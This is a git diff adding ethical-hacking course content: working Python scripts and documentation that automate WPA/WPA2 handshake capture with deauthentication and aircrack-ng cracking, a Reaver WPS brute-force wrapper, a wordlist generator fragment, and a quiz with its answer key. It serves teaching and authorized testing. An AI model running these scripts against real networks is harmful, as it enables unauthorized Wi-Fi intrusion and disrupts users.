+ # Load bases from file if provided, otherwise use DEFAULT_BASES
+ if args.bases and os.path.exists(args.bases):
+ with open(args.bases, 'r', encoding='utf-8') as f:
+ bases = [line.strip() for line in f if line.strip()]
+ else:
+ bases = DEFAULT_BASES
+
+ # years: parse into a list like ['2018','2019',...]
+ years = parse_years(args.years)
+
+ words: list[str] = []
+ # For each base word generate its variants and extend the main list
+ for b in bases:
+ words.extend(generate(b, years, args.max_suffix))
+
+ # dedupe while preserving order, then apply the user-specified limit
+ final = list(dict.fromkeys(words))[: args.limit]
+ write_wordlist(args.out, final)
+ return 0
+
+
+if __name__ == '__main__':
+ sys.exit(main())
diff --git a/UI/frontend/src/content/python-scripts/wpa2_dictionary_attack.md b/UI/frontend/src/content/python-scripts/wpa2_dictionary_attack.md
new file mode 100644
index 0000000..b1c9449
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/wpa2_dictionary_attack.md
@@ -0,0 +1,125 @@
+## wpa2_dictionary_attack.py
+
+### Usage Scenario
+
+This script is an **automation tool** designed for **security auditing** and **penetration testing** of WPA/WPA2-protected Wi-Fi networks in authorized environments. It streamlines the complex, multi-step process required for an offline dictionary attack.
+
+| Problem Solved | Beneficiary |
+| :--- | :--- |
+| **Automates the complete WPA/WPA2 cracking workflow**, from setting the adapter to monitor mode to initiating the dictionary attack, including the optional deauthentication step to speed up handshake capture. | **Ethical Hackers**, **Security Analysts**, and **Cybersecurity Students** who need an efficient and educational tool to test the strength of Wi-Fi passwords and understand the sequence of a WPA/WPA2 attack. |
+
+---
+
+### What the Script Does
+
+The Python script acts as an **orchestrator** for the **Aircrack-ng suite** utilities (`airmon-ng`, `airodump-ng`, `aireplay-ng`, `aircrack-ng`). It manages the entire process of capturing a WPA/WPA2 4-way handshake and attempting to crack the password.
+
+1. **Inputs:** It requires the **wireless interface name**, **target BSSID** (AP MAC), **target channel**, and the **path to a wordlist** file. An optional **client MAC address** is required for the deauthentication step.
+2. **Process:**
+ * It sets the network interface to **monitor mode**.
+ * It starts **packet capture** (`airodump-ng`) in a **separate thread** to search for the WPA handshake.
+ * It allows the user to optionally execute a **deauthentication attack** (`aireplay-ng`) in the main thread to force a handshake capture.
+ * The main thread pauses, waiting for the user to confirm the handshake capture is complete.
+ * Once stopped, it initiates the **dictionary attack** (`aircrack-ng`) against the captured `.cap` file using the provided wordlist.
+3. **Output/Side Effects:**
+ * **Modifies the wireless interface mode** (to monitor mode).
+ * Creates the packet capture file named **`wpa_handshake_capture-01.cap`** in the execution directory.
+ * Prints the results of the cracking attempt, showing the discovered password if successful.
+
+---
+
+### Code Explanation
+
+#### Imported Libraries
+
+| Library | Purpose |
+| :--- | :--- |
+| **`subprocess`** | **Essential.** Used to execute all external system commands and Aircrack-ng utilities (e.g., `airodump-ng`, `aircrack-ng`). This is the bridge between Python and the command-line hacking tools. |
+| **`os`** | Used to interact with the operating system, specifically to check for the **existence of files** (`os.path.exists`) like the captured handshake file and the user's wordlist. |
+| **`time`** | Used to introduce short **pauses** (`time.sleep(5)`) to ensure external processes, like `airodump-ng`, have adequate time to start up before proceeding. |
+| **`threading`** | **Crucial.** Used to run the time-consuming `capture_handshake` function in a **separate, non-blocking thread**. This allows the main script to continue, prompting the user for deauthentication or waiting for the "stop" signal while the capture runs concurrently. |
+
+#### Main Functions
+
+| Function | Parameters | Returns | Purpose |
+| :--- | :--- | :--- | :--- |
+| `setup_monitor_mode` | `interface` (str) | None | Takes the interface down, kills potentially conflicting processes (`airmon-ng check kill`), and sets the interface mode to **monitor** using `iwconfig` and `ifconfig`. |
+| `capture_handshake` | `interface`, `bssid`, `channel`, `stop_event` (threading.Event) | str (path to .cap file) | Starts `airodump-ng` as a subprocess to capture the WPA handshake. It runs in the background thread, stopping the capture when the main thread signals the `stop_event`. |
+| `deauth_client` | `interface`, `bssid`, `client_mac` | None | Executes the `aireplay-ng` command to send a limited number of deauthentication packets (10) to a client to force a quick re-association, triggering the handshake. |
+| `crack_password` | `cap_file`, `wordlist` | None | Executes the core **`aircrack-ng`** command, passing the captured handshake file and the wordlist to perform the dictionary attack. |
+
+#### Execution Logic
+
+The script's primary control flow is managed within the `if __name__ == "__main__":` block.
+
+1. **Initialization and Input:** The script first gathers the necessary inputs (`interface`, `bssid`, `channel`) from the user.
+2. **Preparation:** `setup_monitor_mode` is called to prepare the wireless adapter for capturing.
+3. **Concurrent Capture:**
+ * A **`threading.Event`** (`stop_event`) is created as a signal mechanism.
+ * A new **`threading.Thread`** (`capture_thread`) is initialized and started, running `capture_handshake` in the background.
+4. **Optional Acceleration:** After a brief pause, the user is prompted for the deauthentication attack. If confirmed, `deauth_client` is executed using the provided client MAC.
+5. **Synchronization Point:** The script waits for the user to press **Enter**. This is the critical moment where the user confirms the WPA handshake has appeared in the `airodump-ng` terminal output.
+6. **Stop Capture:** The user's input triggers **`stop_event.set()`**, signaling the background thread to stop the `airodump-ng` process. The main thread then calls **`capture_thread.join()`**, blocking until the capture thread has gracefully terminated.
+7. **Cracking:** The script verifies the existence of the captured file (`wpa_handshake_capture-01.cap`). If found, it prompts for the wordlist path and calls `crack_password` to initiate the final attack phase.
+
+---
+
+### Screenshots
+
+
+
+---
+
+### Sequence Diagram
+
+```mermaid
+sequenceDiagram
+ participant User
+ participant MainScript as Python Main Thread
+ participant CapThread as Capture Thread
+ participant OS as OS / Aircrack-ng Tools
+
+ User->>MainScript: Execute Script
+ MainScript->>User: Request Interface, BSSID, Channel
+ User->>MainScript: Provide Inputs
+
+ MainScript->>MainScript: setup_monitor_mode(interface)
+ MainScript->>OS: ifconfig down, airmon-ng check kill, iwconfig monitor
+ OS-->>MainScript: Interface Ready
+
+ MainScript->>MainScript: stop_event = threading.Event()
+ MainScript->>CapThread: Start Thread: capture_handshake(...)
+ CapThread->>OS: Run: sudo airodump-ng --bssid ... -w wpa_handshake_capture
+
+ Note over CapThread,OS: Capture runs in background, checking for .cap file.
+
+ MainScript->>MainScript: time.sleep(5)
+ MainScript->>User: Request Deauth (y/n)?
+
+ alt User chooses 'y'
+ User->>MainScript: Provide Client MAC
+ MainScript->>OS: Run: sudo aireplay-ng --deauth 10 ...
+ end
+
+ MainScript->>User: Press Enter to stop capture (Handshake seen)
+ User->>MainScript: Press Enter
+
+ MainScript->>MainScript: stop_event.set()
+ MainScript->>CapThread: join() (Wait for thread exit)
+ CapThread->>OS: Terminate airodump-ng process
+ OS-->>CapThread: Process exit
+ CapThread-->>MainScript: Thread exit
+
+ MainScript->>MainScript: Check wpa_handshake_capture-01.cap
+
+ alt Capture File Exists
+ MainScript->>User: Request Wordlist Path
+ User->>MainScript: Provide Path
+ MainScript->>MainScript: crack_password(cap_file, wordlist)
+ MainScript->>OS: Run: aircrack-ng cap_file -w wordlist
+ OS-->>MainScript: Cracking results displayed
+ else Capture File NOT Found
+ MainScript->>User: Display Error Message
+ end
+
+ MainScript->>OS: Exit
\ No newline at end of file
diff --git a/UI/frontend/src/content/python-scripts/wpa2_dictionary_attack.py b/UI/frontend/src/content/python-scripts/wpa2_dictionary_attack.py
new file mode 100644
index 0000000..6fbcee4
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/wpa2_dictionary_attack.py
@@ -0,0 +1,94 @@
+# WPA/WPA2 Dictionary Attack Automation Script
+# This script automates the process of capturing a WPA/WPA2 handshake and
+# performing a dictionary attack to crack the network password.
+
+
+import subprocess
+import os
+import time
+import threading
+
+def setup_monitor_mode(interface):
+ print(f"[+] Setting up monitor mode for {interface}...")
+ subprocess.run(["sudo", "ifconfig", interface, "down"])
+ subprocess.run(["sudo", "airmon-ng", "check", "kill"])
+ subprocess.run(["sudo", "iwconfig", interface, "mode", "monitor"])
+ subprocess.run(["sudo", "ifconfig", interface, "up"])
+ print("[+] Monitor mode enabled.")
+
+def capture_handshake(interface, bssid, channel, stop_event):
+ print("[+] Starting packet capture. Waiting for WPA handshake...")
+ filename = "wpa_handshake_capture"
+ command = [
+ "sudo", "airodump-ng",
+ "--bssid", bssid,
+ "-c", str(channel),
+ "-w", filename,
+ interface
+ ]
+
+ proc = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
+
+ while not stop_event.is_set():
+ # A more robust solution would parse the output in real-time.
+ # For simplicity here, we'll check for the file and let the user manually stop.
+ # In a real script, you'd read proc.stdout line by line for "WPA handshake".
+ if os.path.exists(f"{filename}-01.cap"):
+ # A simple check; real implementation needs to confirm handshake in the file.
+ print(f"[*] Capture file created. Check airodump-ng window for handshake.", end='\r')
+ time.sleep(2)
+
+ proc.terminate()
+ print("\n[+] Packet capture stopped.")
+ return f"{filename}-01.cap"
+
+def deauth_client(interface, bssid, client_mac):
+ print(f"[+] Sending deauthentication packets to {client_mac}...")
+ command = [
+ "sudo", "aireplay-ng",
+ "--deauth", "10",
+ "-a", bssid,
+ "-c", client_mac,
+ interface
+ ]
+ subprocess.run(command)
+
+def crack_password(cap_file, wordlist):
+ print(f"[+] Starting dictionary attack on {cap_file} with wordlist {wordlist}...")
+ command = [
+ "aircrack-ng",
+ cap_file,
+ "-w", wordlist
+ ]
+ subprocess.run(command)
+
+if __name__ == "__main__":
+ interface = input("Enter wireless interface name: ")
+ bssid = input("Enter target BSSID: ")
+ channel = int(input("Enter target channel: "))
+
+ setup_monitor_mode(interface)
+
+ stop_event = threading.Event()
+ capture_thread = threading.Thread(target=capture_handshake, args=(interface, bssid, channel, stop_event))
+ capture_thread.start()
+
+ time.sleep(5) # Give airodump some time to start up
+
+ if input("Do you want to run a deauthentication attack to speed up capture? (y/n): ").lower() == 'y':
+ client_mac = input("Enter client MAC to deauthenticate: ")
+ deauth_client(interface, bssid, client_mac)
+
+ input("[*] Press Enter here once you see 'WPA handshake' in the airodump-ng window to stop capture and start cracking...")
+ stop_event.set()
+ capture_thread.join()
+
+ cap_file_path = "wpa_handshake_capture-01.cap"
+ if os.path.exists(cap_file_path):
+ wordlist_path = input("Enter path to your wordlist file: ")
+ if os.path.exists(wordlist_path):
+ crack_password(cap_file_path, wordlist_path)
+ else:
+ print("[-] Wordlist file not found.")
+ else:
+ print("[-] Capture file not created. Handshake may not have been captured.")
\ No newline at end of file
diff --git a/UI/frontend/src/content/python-scripts/wpa2_dictionary_attack_readme.md b/UI/frontend/src/content/python-scripts/wpa2_dictionary_attack_readme.md
new file mode 100644
index 0000000..e97834a
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/wpa2_dictionary_attack_readme.md
@@ -0,0 +1,108 @@
+# WPA/WPA2 Dictionary Attack Automation
+
+An educational workflow that demonstrates how to capture a WPA/WPA2 four-way handshake and perform an offline dictionary attack using the aircrack-ng toolkit in a controlled, authorized environment.
+
+> **Warning:** Use strictly on networks you own or have explicit written permission to test. Deauthentication and password cracking are intrusive operations.
+
+---
+
+## What WPA and WPA2 Are
+
+| Protocol | Cipher/Integrity | Handshake | Typical Modes | Key Points |
+|----------|-----------------|-----------|---------------|------------|
+| **WPA** | TKIP / MIC | 4-way | Personal & Enterprise | Transitional upgrade from WEP (2003); no longer recommended for new deployments. |
+| **WPA2** | AES-CCMP | 4-way | Personal (PSK) & Enterprise (802.1X/EAP) | Industry baseline since 2004; secure with strong PSK or unique 802.1X credentials. |
+
+*WPA replaced WEP by introducing TKIP and a 4-way handshake but retained compatibility trade-offs that modern attackers can exploit. WPA2 standardized AES-CCMP, still uses the 4-way handshake, and is secure when configured with strong passphrases or WPA2-Enterprise. Capturing that handshake allows offline guessing; long, random passwords or per-user credentials mitigate this risk.*
+
+---
+
+## System Architecture
+
+The diagram illustrates the end-to-end sequence: interface setup, handshake capture, optional deauth, file verification, and offline cracking.
+
+
+
+---
+
+## Live Demonstrations
+
+- **Aircrack-ng cracking session** – shows dictionary attack progress and recovered keys:
+
+
+
+- **Capture workflow** – interface setup, deauth prompt, handshake monitoring:
+
+
+
+---
+
+## Requirements
+
+- Linux system with wireless adapter supporting monitor mode.
+- Aircrack-ng suite (`airodump-ng`, `aireplay-ng`, `aircrack-ng`).
+- Python 3.x if you use the automation script (steps can be run manually).
+- Sudo privileges for interface configuration.
+- Wordlist of candidate passwords for offline cracking.
+
+
+---
+
+## Usage Overview
+
+1. **Select Interface & Target**
+ Provide wireless interface (e.g., `wlan0`), target BSSID, and channel.
+
+2. **Enable Monitor Mode**
+ Script (or manual commands) sets interface to monitor mode (`airmon-ng`, `iwconfig`).
+
+3. **Capture Handshake**
+ `airodump-ng` writes a capture file while watching for the "WPA handshake" indicator.
+
+4. **Optional Deauth**
+ With permission, `aireplay-ng --deauth` can force a client reconnect to speed up capture.
+
+5. **Verify Capture**
+ Check that `wpa_handshake_capture-01.cap` exists and contains a valid handshake.
+
+6. **Run Dictionary Attack**
+ Supply a wordlist to `aircrack-ng` to perform offline cracking.
+
+7. **Review Results**
+ Success depends on passphrase entropy; strong random passwords resist dictionary attacks.
+
+---
+
+## Best Practices & Hardening
+
+- Always configure **WPA2-AES (CCMP)**, disable legacy TKIP.
+- Use **long, random passphrases** or deploy **WPA2-Enterprise** with per-user credentials.
+- Monitor for anomalous deauth frames; enable wireless IDS/IPS where possible.
+- Keep firmware and driver updates current to support WPA3 when feasible.
+
+---
+
+## Legal & Ethical Guidelines
+
+- Obtain **explicit written authorization** before testing.
+- Limit tests to the **defined scope and schedule**.
+- Keep detailed **logs** of all actions and notify stakeholders of potential disruptions.
+- Follow all **local laws and organizational policies** regarding wireless security tests.
+
+---
+
+## Educational Value
+
+This project provides a hands-on demonstration of:
+
+1. How WPA/WPA2 handshakes enable secure key generation yet expose offline PSK guessing.
+2. Why deauthentication accelerates capture but is detectable and disruptive.
+3. The critical role of **passphrase strength** or **enterprise authentication** in resisting attacks.
+
+Ideal for cybersecurity labs, red-team exercises, and blue-team awareness training.
+
+---
+
+**License:** MIT – see `LICENSE` file.
+
+
diff --git a/UI/frontend/src/content/python-scripts/wpa_wps_hack.md b/UI/frontend/src/content/python-scripts/wpa_wps_hack.md
new file mode 100644
index 0000000..c7ec2d1
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/wpa_wps_hack.md
@@ -0,0 +1,102 @@
+## wpa_wps_hack.py
+
+### Use Case Scenario
+
+This script is a Python wrapper designed to automate the configuration and execution of the specialized external tool **Reaver**, which is used to perform a **WPS (Wi-Fi Protected Setup) brute-force attack** against WPA/WPA2 networks. It is a fundamental tool for **network vulnerability assessments**.
+
+* **What problem does it solve?** It simplifies the workflow for testing a network's resilience to WPS-based attacks. It automates essential setup steps—like retrieving the host's MAC address and setting the wireless interface to the correct channel (`iwconfig` / `ifconfig` calls)—before launching the complex `reaver` command.
+* **Who would benefit from using it?** **Security Analysts**, **Penetration Testers**, and **Ethical Hacking students** who need to demonstrate or validate the **WPS vulnerability** on authorized networks. It provides a simple Python interface to execute a multi-step external process.
+
+---
+
+### What the Script Does
+
+The Python script acts as an **orchestrator** for the **Reaver** utility, which attempts to exploit the WPS protocol's design flaw to guess the 8-digit PIN and, subsequently, retrieve the WPA/WPA2 Pre-Shared Key (PSK).
+
+The execution flow is:
+
+1. **Input:** It gathers three inputs from the user: the **wireless interface name** (e.g., `wlan0`), the **Target MAC address (BSSID)** of the AP, and the target's **Wi-Fi channel**.
+2. **Configuration:** It calls the system commands (`ifconfig`, `iwconfig`) to temporarily disable, configure the wireless channel, and re-enable the specified interface, ensuring it is ready for the Reaver process.
+3. **Process:** It constructs and executes the `reaver` command in a subprocess, passing all necessary parameters (`--bssid`, `--channel`, `--interface`).
+4. **Output/Side Effects:** It prints informative status messages and then **streams the real-time output** from the running `reaver` process directly to the user's console. The primary effect is the execution of the external brute-force attempt, which runs until successful or manually terminated.
+
+---
+
+### Code Explanation
+
+#### Imported Libraries
+
+| Library | Purpose |
+| :--- | :--- |
+| `subprocess` | **Essential.** Used to execute external system commands (like `ifconfig`, `iwconfig`) and to launch, manage, and stream the output from the `reaver` utility. |
+| `re` (Regular Expressions) | Used for **pattern matching** to reliably extract the host interface's MAC address from the raw text output generated by the `ifconfig` command. |
+
+#### Main Functions
+
+| Function | Parameters | Returns | Purpose |
+| :--- | :--- | :--- | :--- |
+| `get_interface_mac` | `interface` (str) | The MAC address string or `None`. | Executes `ifconfig` for the given interface, uses a regex to search for the MAC address pattern (`unspec\s+([A-Fa-f0-9\-]+)`), formats it with colons, and returns the result. |
+| `run_reaver` | `interface` (str), `target_mac` (str), `channel` (str) | None | Constructs the `reaver` command with standard WPS attack flags (`-vvv`, `--no-associate`) and runs it as a subprocess. It uses a loop to read and print the `reaver` output line-by-line in real-time. |
+| `wpa_wps_hack` | `interface` (str), `target_mac` (str) | None | The control function. It retrieves the host MAC, prompts for the channel, configures the interface using OS calls, and finally initiates the WPS attack by calling `run_reaver()`. |
+
+#### Execution Logic
+
+The script starts execution in the standard entry point, the **`if __name__ == "__main__":`** block.
+
+1. **Initial Input:** The user is prompted for the required **wireless interface name** and the **target network's MAC address (BSSID)**.
+2. **Orchestration Call:** The `wpa_wps_hack(interface, target_mac)` function is immediately called.
+3. **Setup Phase:**
+ * `get_interface_mac` attempts to find and display the local interface's MAC.
+ * The user is prompted to enter the **Wi-Fi channel**.
+ * Three system calls are made using `subprocess.call` to configure the interface for the attack: `ifconfig down`, `iwconfig channel`, and `ifconfig up`. This ensures the card is correctly operating on the target's channel.
+4. **Attack Execution:** The `run_reaver` function is called, which launches the `reaver` process.
+5. **Monitoring:** The script enters a `try...finally` block within `run_reaver` to continuously read and print the logs from `reaver`'s `stdout`. This provides real-time feedback to the user.
+6. **Cleanup:** The `finally` block ensures that the `reaver` process is terminated and waited for (`proc.terminate()` and `proc.wait()`) when the user stops the script (e.g., with `Ctrl+C`).
+
+---
+
+### Screenshots
+
+---
+
+### Sequence Diagram
+
+```mermaid
+sequenceDiagram
+ participant User
+ participant Script as wpa_wps_hack.py
+ participant OS as Operating System Shell
+ participant Reaver as External Tool (reaver)
+
+ User->>Script: Execute Script
+ Script->>User: Prompt: Enter interface name
+ User->>Script: Provide: interface (e.g., wlan0)
+ Script->>User: Prompt: Enter target MAC address (BSSID)
+ User->>Script: Provide: target_mac (e.g., AA:BB:CC:DD:EE:FF)
+
+ Script->>Script: Call wpa_wps_hack(interface, target_mac)
+
+ Script->>OS: subprocess.check_output(["ifconfig", interface])
+ OS-->>Script: ifconfig Output
+ Script->>Script: Parse MAC address (get_interface_mac)
+
+ Script->>User: Prompt: Enter Wi-Fi channel
+ User->>Script: Provide: channel (e.g., 6)
+
+ Script->>OS: subprocess.call(["ifconfig", interface, "down"])
+ Script->>OS: subprocess.call(["iwconfig", interface, "channel", channel])
+ Script->>OS: subprocess.call(["ifconfig", interface, "up"])
+
+ Script->>Script: Call run_reaver(interface, target_mac, channel)
+ Script->>OS: subprocess.Popen(["reaver", "--bssid", target_mac, ...])
+ OS->>Reaver: Launch Reaver process
+
+ loop Monitor Reaver Output
+ Reaver->>Script: Reaver Log Output (via stdout)
+ Script->>User: Print log line
+ end
+
+ User->>Script: Manual Termination (Ctrl+C)
+ Script->>Reaver: Terminate Process (proc.terminate())
+ Script->>OS: Process cleanup (proc.wait())
+ Script->>OS: Exit
diff --git a/UI/frontend/src/content/python-scripts/wpa_wps_hack.py b/UI/frontend/src/content/python-scripts/wpa_wps_hack.py
new file mode 100644
index 0000000..f650b02
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/wpa_wps_hack.py
@@ -0,0 +1,55 @@
+# Write a python script to hack a wpa network using WPS feature
+
+import subprocess
+import re
+
+def get_interface_mac(interface):
+ ifconfig_output = subprocess.check_output(["ifconfig", interface]).decode()
+ match = re.search(r'unspec\s+([A-Fa-f0-9\-]+)', ifconfig_output)
+ if match:
+ mac = match.group(1).replace('-', ':')
+ return mac[:17]
+ else:
+ return None
+
+def run_reaver(interface, target_mac, channel):
+ print(f"[+] Starting reaver on {interface}, targeting {target_mac} (channel {channel})")
+ print("[+] Reaver started. Monitor the output for WPS PIN and password.")
+ proc = subprocess.Popen([
+ "reaver",
+ "--bssid", target_mac,
+ "--channel", channel,
+ "--interface", interface,
+ "-vvv",
+ "--no-associate"
+ ], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, universal_newlines=True)
+ try:
+ for line in proc.stdout:
+ print(line, end='') # Print all reaver logs in real time
+ finally:
+ proc.terminate()
+ proc.wait()
+
+def wpa_wps_hack(interface, target_mac):
+ print(f"[+] Starting WPA WPS hack on {target_mac} using {interface}")
+ mac = get_interface_mac(interface)
+ if not mac:
+ print(f"[-] Could not retrieve MAC address for interface {interface}.")
+ return
+
+ print(f"[i] Interface MAC: {mac}")
+ channel = input("Enter the Wi-Fi channel to monitor (e.g., 1, 6, 11): ").strip()
+
+ # Bring interface down, set channel, bring up (for reliability)
+ subprocess.call(["ifconfig", interface, "down"])
+ subprocess.call(["iwconfig", interface, "channel", channel])
+ subprocess.call(["ifconfig", interface, "up"])
+
+ # Start reaver (in the foreground for simplicity)
+ run_reaver(interface, target_mac, channel)
+
+if __name__ == "__main__":
+ interface = input("Enter the wireless interface name (e.g., wlan0): ").strip()
+ target_mac = input("Enter the target Wi-Fi MAC address: ").strip()
+
+ wpa_wps_hack(interface, target_mac)
\ No newline at end of file
diff --git a/UI/frontend/src/content/safe-practice-questions/answer-key.md b/UI/frontend/src/content/safe-practice-questions/answer-key.md
new file mode 100644
index 0000000..19ed6db
--- /dev/null
+++ b/UI/frontend/src/content/safe-practice-questions/answer-key.md
@@ -0,0 +1,101 @@
+# Answer Key – Safe Practice Questions (Multiple Choice)
+
+⚠️ **Safety note:** Answers are educational. Use them to check understanding after attempting the questions yourself.
+
+---
+
+## Reconnaissance
+1. B — Active interacts with the target; passive does not interact.
+2. B — theHarvester (tool for passive OSINT).
+3. B — WHOIS returns domain registration and contact details.
+4. B — Scrape only publicly available posts and profiles (do not impersonate).
+5. B — Footprinting = building a profile of a target using public data.
+6. C — Obtain permission when targeting non-owned systems.
+7. B — OSINT = public info; network scanning actively probes services.
+8. B — Cross-check multiple reputable sources.
+9. C — Tighten privacy settings and limit public posts.
+10. A — Company websites, WHOIS, public social profiles.
+
+---
+
+## Scanning
+1. A — Network scanning finds hosts/ports; vulnerability scanning finds known flaws.
+2. B — Nmap.
+3. A — Port scan can reveal open ports and associated services.
+4. B — Ping sweep identifies live hosts.
+5. B — Banner grabbing identifies service/version info.
+6. B — Unauthorized scanning may be illegal and disruptive.
+7. A — Use ping sweep in your own lab or with permission.
+8. A — TCP is connection-oriented; UDP is connectionless, so scanning differs.
+9. B — Firewalls can hide or filter ports and responses.
+10. B — Document context and confirm findings safely.
+
+---
+
+## Exploitation
+1. B — An exploit leverages a vulnerability to cause unintended behavior.
+2. A — Local requires local access; remote works over a network.
+3. B — Privilege escalation moves to higher privileges.
+4. B — Use isolated lab VMs or CTF platforms with permission.
+5. B — It can be illegal, unethical, and damaging.
+6. B — Buffer overflow = writing more data to buffer than allocated, possible code execution.
+7. A — Input validation ensures only expected data is processed, reducing attacks.
+8. A — SQLi, XSS, CSRF are common web vulnerabilities.
+9. B — Grant minimum privileges necessary.
+10. B — Responsible disclosure: report privately and give time to fix.
+
+---
+
+## Post-Exploitation
+1. A — Activities after gaining access to assess/document impact (lab/test).
+2. A — Maintain access, escalate privileges, gather proof (authorized).
+3. A — Installing persistence in sanctioned lab VM for testing.
+4. B — To simulate attacker behavior and assist remediation (in labs).
+5. A — Pivoting uses a compromised host to reach other segments (lab-only).
+6. B — Demonstrate keylogging in isolated labs for defense understanding.
+7. A — Securely copy data in lab to test detection (simulate exfiltration).
+8. A — Document steps, evidence, impact, and remediation (authorized tests).
+9. A — Lateral movement = moving from one host to others in a network.
+10. A — To avoid legal/ethical violations and prevent real damage.
+
+---
+
+## Web Security
+1. B — SQLi = injecting malicious SQL to manipulate queries.
+2. A — XSS runs scripts in victim browsers if inputs not sanitized.
+3. A — CSRF tricks an authenticated browser to perform unintended actions.
+4. B — HTTPS encrypts traffic and verifies server identity.
+5. B — Input validation checks/sanitizes inputs to disallow injections.
+6. B — OWASP Juice Shop is a safe local target for learning.
+7. A — Session hijacking takes over a user session by stealing tokens.
+8. A — secure, httpOnly, SameSite are secure cookie attributes.
+9. B — Grant services/users only the permissions they need.
+10. B — Contact owner privately and follow responsible disclosure.
+
+---
+
+## Network Security
+1. A — Firewall blocks/filters traffic based on rules.
+2. B — VPN creates an encrypted tunnel for traffic.
+3. A — MitM intercepts/possibly alters communications (lab simulations).
+4. A — ARP spoofing poisons ARP caches to redirect local traffic (lab-only).
+5. B — Test DoS only in isolated lab networks with consent.
+6. A — Symmetric uses same key; asymmetric uses key pair.
+7. A — Capture traffic on networks you control to analyze ethically.
+8. A — Protocols like HTTP, FTP, Telnet can be vulnerable if not secured.
+9. A — Strong auth, patching, and least privilege help prevent unauthorized access.
+10. A — Network segmentation divides networks to limit access and improve security.
+
+---
+
+## Cryptography
+1. A — Cryptography secures confidentiality, integrity, and authenticity.
+2. A — Symmetric uses one key; asymmetric uses public/private pair.
+3. B — Hash produces fixed-size digest, usually irreversible.
+4. A — SSL/TLS uses certificates and encryption to secure transit and verify identity.
+5. B — AES is a common symmetric algorithm.
+6. C — RSA is a common asymmetric algorithm.
+7. B — Digital signature verifies authenticity/integrity via private key operations.
+8. A — PKI is the system of keys, certs, and CAs to manage identity and trust.
+9. A — Key exchange methods like Diffie–Hellman let parties agree on shared keys securely.
+10. B — MACs/HMACs or digital signatures detect tampering and protect integrity.
diff --git a/UI/frontend/src/content/safe-practice-questions/questions.md b/UI/frontend/src/content/safe-practice-questions/questions.md
new file mode 100644
index 0000000..6e4abb6
--- /dev/null
+++ b/UI/frontend/src/content/safe-practice-questions/questions.md
@@ -0,0 +1,451 @@
+# Safe Practice Questions – Ethical Hacking (Multiple Choice)
+
+⚠️ **Safety note:** These questions are for learning only. Never attempt tests on systems you do not own or have explicit permission to test. Practice in isolated labs, VMs, or sanctioned CTF environments.
+
+---
+
+## Reconnaissance
+
+1. What is the difference between active and passive reconnaissance?
+A. Active gathers only public info; passive alters the target.
+B. Active interacts with the target; passive does not interact.
+C. Active is illegal; passive is always legal.
+D. Active uses only social media; passive uses only tools.
+
+2. Which tool is commonly used for passive information gathering?
+A. Nmap
+B. theHarvester
+C. Metasploit
+D. sqlmap
+
+3. What information does a WHOIS lookup typically provide?
+A. Running processes on a server
+B. Domain registration and contact details
+C. Encrypted network traffic
+D. User passwords
+
+4. Which is a safe way to use social media for reconnaissance?
+A. Attempt to brute-force accounts to find info
+B. Scrape only publicly available posts and profiles
+C. Send friend requests from fake accounts to access private info
+D. Phish users for credentials
+
+5. What is footprinting?
+A. Deleting logs after an attack
+B. Building a profile of a target using publicly available data
+C. Exploiting a buffer overflow on a server
+D. Creating malware for persistence
+
+6. Which is a key legal/ethical consideration during reconnaissance?
+A. Only collect hidden or private data
+B. Never document findings
+C. Obtain permission when targeting non-owned systems
+D. Publish raw data immediately
+
+7. How does OSINT differ from network scanning?
+A. OSINT uses paid tools only; network scanning is free
+B. OSINT collects public info; network scanning actively probes services
+C. OSINT is illegal; network scanning is legal
+D. They are the same
+
+8. How can you verify the reliability of gathered information?
+A. Use a single source and assume it’s correct
+B. Cross-check multiple reputable sources
+C. Ignore timestamps on the data
+D. Rely only on social media posts
+
+9. Which action helps protect your personal info from reconnaissance?
+A. Posting full address on public profiles
+B. Using default passwords on accounts
+C. Tightening privacy settings and limiting public posts
+D. Sharing work email on every forum
+
+10. Examples of publicly available reconnaissance sources include:
+A. Company websites, WHOIS, public social profiles
+B. Encrypted VPN traffic of others
+C. Password databases from phishing
+D. Internal corporate databases (no permission)
+
+---
+
+## Scanning
+
+1. Network scanning vs vulnerability scanning — main difference?
+A. Network scanning finds hosts/ports; vulnerability scanning searches for known flaws.
+B. They are identical processes.
+C. Vulnerability scanning finds hosts; network scanning finds software versions.
+D. Network scanning only runs on web apps.
+
+2. Which is a popular network scanning tool?
+A. Wireshark (only)
+B. Nmap
+C. Photoshop
+D. Notepad
+
+3. What can a port scan reveal?
+A. Open ports and associated services
+B. Encrypted file contents
+C. Usernames and passwords
+D. Physical location coordinates
+
+4. Purpose of a ping sweep is to:
+A. Encrypt network traffic
+B. Identify live hosts on a subnet
+C. Steal credentials
+D. Install malware
+
+5. What is banner grabbing used for?
+A. Stealing cookies
+B. Identifying service/version information from network services
+C. Hiding network traces
+D. Performing SQL injection
+
+6. Why must scanning be performed ethically and legally?
+A. Scanning always improves performance
+B. Unauthorized scanning may be illegal and disruptive
+C. Scanning has no impact so rules don’t matter
+D. It guarantees exploitation
+
+7. How can you identify live hosts safely?
+A. Use ping sweep in your own lab or with permission
+B. Attempt random TCP connections to public IPs at large scale
+C. Brute-force ports across a country block
+D. Scan ISP infrastructure without consent
+
+8. TCP vs UDP scanning — key difference?
+A. TCP is connection-oriented; UDP is connectionless (so scanning behaves differently)
+B. UDP always reports open ports accurately
+C. TCP cannot be used in scanning
+D. There is no difference
+
+9. Firewalls affect scanning by:
+A. Never blocking any traffic
+B. Potentially hiding or filtering ports and responses
+C. Making all services visible
+D. Encrypting scan results
+
+10. Responsible interpretation of scan results includes:
+A. Assuming every open port is exploitable without verification
+B. Documenting context and confirming findings in a safe environment
+C. Publishing raw scans publicly immediately
+D. Ignoring false positives
+
+---
+
+## Exploitation
+
+1. What is an exploit?
+A. A backup utility
+B. Code or technique that leverages a vulnerability to achieve an unintended behavior
+C. A debug log file
+D. A firewall rule
+
+2. Local vs remote exploit — main difference?
+A. Local needs local access; remote can be performed over a network
+B. Remote requires physical presence
+C. Local always uses SQL injection
+D. No difference
+
+3. What is privilege escalation?
+A. Reducing user rights
+B. Moving from lower-level to higher-level privileges on a system
+C. Encrypting files for backup
+D. Blocking access to services
+
+4. Where should you practice exploitation safely?
+A. Production servers of companies you don’t own
